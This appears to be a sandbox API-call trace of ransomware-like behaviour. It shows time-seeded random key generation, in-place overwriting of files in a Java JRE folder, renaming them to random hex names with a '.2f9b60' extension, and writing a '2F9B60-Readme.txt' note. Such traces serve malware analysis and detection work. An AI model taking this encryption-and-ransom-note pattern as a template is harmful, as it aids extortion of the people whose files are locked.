RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x112dae9b [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x11455f0e [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x4b72233 [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x409c86ee [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x382529bf [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x703d908c [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x78bb2ebd [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x7a4b813b [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x6676a7d6 [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x24b891d2 [0161.781] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x16d1e77b [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x223d5a6f [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x420d9b9b [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x462fadba [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x35df99f5 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x3bc28f47 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x1f98d0f6 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x22cba269 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x7d26d0e0 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x2ffe3a03 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x2e97a320 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x79989220 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x4ac9b8db [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x5e3d1eda [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x1bab1d1 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x4c51ecbd [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x3fdef72 [0161.782] RtlRandomEx (in: Seed=0x3219fa50 | out: Seed=0x3219fa50) returned 0x1f1a38a [0161.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a58a0 [0161.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0161.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a58d0 [0161.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0161.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5870) returned 1 [0161.795] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5810) returned 1 [0161.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0161.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0161.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5810 [0161.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5810) returned 1 [0161.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203ff2a0 [0161.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20402eb0 [0161.796] ReadFile (in: hFile=0x4f0, lpBuffer=0x203ff2a0, nNumberOfBytesToRead=0x139, lpNumberOfBytesRead=0x3219fa50, lpOverlapped=0x0 | out: lpBuffer=0x203ff2a0*, lpNumberOfBytesRead=0x3219fa50*=0x139, lpOverlapped=0x0) returned 1 [0161.796] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.796] WriteFile (in: hFile=0x4f0, lpBuffer=0x20402eb0*, nNumberOfBytesToWrite=0x139, lpNumberOfBytesWritten=0x3219fa54, lpOverlapped=0x0 | out: lpBuffer=0x20402eb0*, lpNumberOfBytesWritten=0x3219fa54*=0x139, lpOverlapped=0x0) returned 1 [0163.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0163.142] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0163.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0163.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20402eb0) returned 1 [0163.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203ff2a0) returned 1 [0163.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a4b0 [0163.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0163.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b830 [0163.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b830) returned 1 [0163.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82b830 [0163.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0163.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4a0 [0163.146] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4a0) returned 1 [0163.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0163.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x42c17a10 [0163.147] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.148] WriteFile (in: hFile=0x4f0, lpBuffer=0x42c17a10*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3219fb70, lpOverlapped=0x0 | out: lpBuffer=0x42c17a10*, lpNumberOfBytesWritten=0x3219fb70*=0x102, lpOverlapped=0x0) returned 1 [0164.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c80 [0164.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0c80) returned 1 [0164.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d140 [0164.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c80 [0164.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0c50 [0164.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0c50) returned 1 [0164.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x423a0c50 [0164.293] sprintf (in: _Dest=0x423a0c50, _Format="%c%c" | out: _Dest="c4") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c52, _Format="%c%c" | out: _Dest="2d") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c54, _Format="%c%c" | out: _Dest="c0") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c56, _Format="%c%c" | out: _Dest="55") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c58, _Format="%c%c" | out: _Dest="df") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c5a, _Format="%c%c" | out: _Dest="f5") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c5c, _Format="%c%c" | out: _Dest="6f") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c5e, _Format="%c%c" | out: _Dest="af") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c60, _Format="%c%c" | out: _Dest="e3") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c62, _Format="%c%c" | out: _Dest="2e") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c64, _Format="%c%c" | out: _Dest="98") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c66, _Format="%c%c" | out: _Dest="3c") returned 2 [0164.293] sprintf (in: _Dest=0x423a0c68, _Format="%c%c" | out: _Dest="37") returned 2 [0164.294] sprintf (in: _Dest=0x423a0c6a, _Format="%c%c" | out: _Dest="89") returned 2 [0164.294] sprintf (in: _Dest=0x423a0c6c, _Format="%c%c" | out: _Dest="81") returned 2 [0164.294] sprintf (in: _Dest=0x423a0c6e, _Format="%c%c" | out: _Dest="20") returned 2 [0164.294] RtlInitAnsiString (in: DestinationString=0x3219fbe8, SourceString="c42dc055dff56fafe32e983c37898120" | out: DestinationString="c42dc055dff56fafe32e983c37898120") [0164.294] RtlAnsiStringToUnicodeString (in: DestinationString=0x3219fbb8, SourceString="c42dc055dff56fafe32e983c37898120", AllocateDestinationString=1 | out: DestinationString="c42dc055dff56fafe32e983c37898120") returned 0x0 [0164.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059290 [0164.294] RtlFreeAnsiString (AnsiString="c") [0164.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0c50) returned 1 [0164.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0c80) returned 1 [0164.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c17a10) returned 1 [0164.296] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b830) returned 1 [0164.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b440) returned 1 [0164.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0164.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0164.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5840) returned 1 [0164.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a58a0) returned 1 [0164.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a58d0) returned 1 [0164.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42c22870 [0164.300] wcscat (in: _Dest=0x42c22870, _Source="c42dc055" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c42dc055") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c42dc055" [0164.300] wcscat (in: _Dest=0x42c22870, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c42dc055.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c42dc055.2f9b60" [0164.300] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c42dc055.2f9b60", NtPathName=0x3219fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\c42dc055.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c190 [0165.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c190) returned 1 [0165.181] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230b1d0) returned 1 [0165.181] NtQueryInformationFile (in: FileHandle=0x4f0, IoStatusBlock=0x3219fbf8, FileInformation=0x3219fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3219fbf8, FileInformation=0x3219fc08) returned 0x0 [0165.181] NtSetInformationFile (FileHandle=0x4f0, IoStatusBlock=0x3219fbf8, FileInformation=0x3219fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22870) returned 1 [0165.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.218] FlushFileBuffers (hFile=0x4f0) returned 1 [0166.278] CloseHandle (hObject=0x4f0) returned 1 [0200.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431d9e30 [0200.287] wcscpy (in: _Dest=0x431d9e30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0200.287] wcscat (in: _Dest=0x431d9e30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0200.287] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0xffffffff [0209.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1928 [0238.103] WriteFile (in: hFile=0x1928, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3219fab0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3219fab0*=0xba9, lpOverlapped=0x0) returned 1 [0240.608] CloseHandle (hObject=0x1928) returned 1 [0244.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431d9e30) returned 1 [0244.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebf380) returned 1 Thread: id = 2821 os_tid = 0x19f4 [0159.924] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\gaborone")) returned 0x20 [0165.806] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone", dwFileAttributes=0x20) returned 1 [0166.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Gaborone" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\gaborone"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2c20 [0167.872] GetFileSizeEx (in: hFile=0x2c20, lpFileSize=0x3581fd20 | out: lpFileSize=0x3581fd20*=89) returned 1 [0167.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18f90 [0167.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18de0 [0167.873] NtQuerySystemTime (in: CurrentTime=0x3581fbe0 | out: CurrentTime=0x3581fbe0*=132462177729958000) returned 0x0 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x48368e8a [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x65fa800c [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x1a26a645 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x77e79d2b [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x4d4a9485 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x768acdb5 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x376daf8 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0xf432758 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x4d99af3b [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x7f07546c [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x15266cb1 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x2b04121 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x2adfb224 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x7ff99a8b [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x257467a7 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x714e6285 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x5dd3c67c [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x21898232 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x6a5c1c4 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0xc5bea88 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x5eb7d73e [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0xdda58c7 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x1eb5a439 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x784d9f7b [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x34f83462 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x6d473b91 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x1d17d1fd [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x4c340fd3 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x3fe3e359 [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x2e28211a [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x278b586a [0167.873] RtlRandomEx (in: Seed=0x3581fbd0 | out: Seed=0x3581fbd0) returned 0x3c265ce9 [0167.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cc0 [0167.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a030 [0167.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18cf0 [0167.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a030) returned 1 [0167.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18de0) returned 1 [0167.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c2e0 [0167.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a030 [0167.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac3980 [0167.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac3980) returned 1 [0167.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4290ea60 [0167.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42912670 [0167.885] ReadFile (in: hFile=0x2c20, lpBuffer=0x4290ea60, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x3581fbd0, lpOverlapped=0x0 | out: lpBuffer=0x4290ea60*, lpNumberOfBytesRead=0x3581fbd0*=0x59, lpOverlapped=0x0) returned 1 [0167.886] SetFilePointerEx (in: hFile=0x2c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.886] WriteFile (in: hFile=0x2c20, lpBuffer=0x42912670*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x3581fbd4, lpOverlapped=0x0 | out: lpBuffer=0x42912670*, lpNumberOfBytesWritten=0x3581fbd4*=0x59, lpOverlapped=0x0) returned 1 [0180.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd96b0 [0180.484] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9680 [0180.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9680) returned 1 [0180.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42912670) returned 1 [0180.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4290ea60) returned 1 [0180.486] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a030) returned 1 [0180.487] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c2e0) returned 1 [0180.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdd9680 [0180.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c2e0 [0180.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a030 [0180.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd95c0 [0180.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd95c0) returned 1 [0180.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1cdd95c0 [0180.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9590 [0180.489] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9560 [0180.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9560) returned 1 [0180.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a030) returned 1 [0180.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c2e0) returned 1 [0180.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x423a8e80 [0180.491] SetFilePointerEx (in: hFile=0x2c20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0180.491] WriteFile (in: hFile=0x2c20, lpBuffer=0x423a8e80*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3581fcf0, lpOverlapped=0x0 | out: lpBuffer=0x423a8e80*, lpNumberOfBytesWritten=0x3581fcf0*=0x102, lpOverlapped=0x0) returned 1 [0184.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd974e0 [0184.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0184.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18fc0 [0184.375] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18fc0) returned 1 [0184.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d780 [0184.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18fc0 [0184.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19080 [0184.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19080) returned 1 [0184.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0184.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd974e0) returned 1 [0184.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x42c19080 [0184.378] sprintf (in: _Dest=0x42c19080, _Format="%c%c" | out: _Dest="6e") returned 2 [0184.378] sprintf (in: _Dest=0x42c19082, _Format="%c%c" | out: _Dest="35") returned 2 [0184.378] sprintf (in: _Dest=0x42c19084, _Format="%c%c" | out: _Dest="c8") returned 2 [0184.378] sprintf (in: _Dest=0x42c19086, _Format="%c%c" | out: _Dest="af") returned 2 [0184.378] sprintf (in: _Dest=0x42c19088, _Format="%c%c" | out: _Dest="a4") returned 2 [0184.378] sprintf (in: _Dest=0x42c1908a, _Format="%c%c" | out: _Dest="cb") returned 2 [0184.378] sprintf (in: _Dest=0x42c1908c, _Format="%c%c" | out: _Dest="bf") returned 2 [0184.378] sprintf (in: _Dest=0x42c1908e, _Format="%c%c" | out: _Dest="30") returned 2 [0184.378] sprintf (in: _Dest=0x42c19090, _Format="%c%c" | out: _Dest="31") returned 2 [0184.378] sprintf (in: _Dest=0x42c19092, _Format="%c%c" | out: _Dest="b4") returned 2 [0184.378] sprintf (in: _Dest=0x42c19094, _Format="%c%c" | out: _Dest="f3") returned 2 [0184.378] sprintf (in: _Dest=0x42c19096, _Format="%c%c" | out: _Dest="75") returned 2 [0184.378] sprintf (in: _Dest=0x42c19098, _Format="%c%c" | out: _Dest="d8") returned 2 [0184.378] sprintf (in: _Dest=0x42c1909a, _Format="%c%c" | out: _Dest="58") returned 2 [0184.378] sprintf (in: _Dest=0x42c1909c, _Format="%c%c" | out: _Dest="76") returned 2 [0184.378] sprintf (in: _Dest=0x42c1909e, _Format="%c%c" | out: _Dest="9c") returned 2 [0184.378] RtlInitAnsiString (in: DestinationString=0x3581fd68, SourceString="6e35c8afa4cbbf3031b4f375d858769c" | out: DestinationString="6e35c8afa4cbbf3031b4f375d858769c") [0184.378] RtlAnsiStringToUnicodeString (in: DestinationString=0x3581fd38, SourceString="6e35c8afa4cbbf3031b4f375d858769c", AllocateDestinationString=1 | out: DestinationString="6e35c8afa4cbbf3031b4f375d858769c") returned 0x0 [0184.378] 